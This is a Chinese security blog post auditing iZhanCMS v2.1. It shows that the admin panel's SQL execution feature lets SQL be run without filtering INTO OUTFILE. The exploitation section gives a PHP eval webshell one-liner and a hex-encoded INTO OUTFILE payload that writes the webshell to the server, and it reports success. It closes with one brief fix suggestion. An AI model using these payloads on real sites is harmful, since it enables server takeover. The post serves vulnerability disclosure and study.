【代码审计】iZhanCMS_v2.1 代码执行漏洞分析

时间:2023-03-09 15:48:15
【代码审计】iZhanCMS_v2.1 代码执行漏洞分析

 

0x00 环境准备

iZhanCMS官网:http://www.izhancms.com

网站源码版本:爱站CMS(zend6.0) V2.1

程序源码下载:http://www.izhancms.com/category/Category/index/cid/1

默认后台:http://127.0.0.1/admin/admin/index

默认用户名:admin  密码自设

测试网站首页:

【代码审计】iZhanCMS_v2.1 代码执行漏洞分析

0x01 代码分析

1、        漏洞文件位置:

/admin/application/webset/controllers/DbcommandController.php第185-221行中:

【代码审计】iZhanCMS_v2.1 代码执行漏洞分析

这段函数中对提交的sql参数进行还原处理,检测SQL语句是否进行删表操作,然后对SQL语句进行处理,并未对into outfile等敏感函数进行过滤,直接将SQL语句带入数据库中执行,我们可以构造SQL语句写入webshell,从而触发代码执行漏洞,控制服务器。

0x02 漏洞利用

登录后台—系统设置—数据库操作—SQL语句—执行SQL语句。

问题:输入的字符会进行html实体编码,因此使用传统的into outfile语句无法成功写入文件

select '<?php eval($_POST[cmd]);?>' into outfile 'c:/www/222aaa.php'  写入失败

【代码审计】iZhanCMS_v2.1 代码执行漏洞分析

将一句话转化为Hex编码,构造Pyaload如下:

SELECT  111222 INTO OUTFILE 'E:/study/WWW/iZhanCMS/2222.php'  LINES TERMINATED BY  0x3C3F70687020406576616C28245F504F53545B2761275D293B3F3E –

【代码审计】iZhanCMS_v2.1 代码执行漏洞分析

成功写入webshell,控制网站服务器

【代码审计】iZhanCMS_v2.1 代码执行漏洞分析

0x03 修复建议

1、Mysql数据库降权处理,让入侵者无法做高权限下可做的事!

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】iZhanCMS_v2.1 代码执行漏洞分析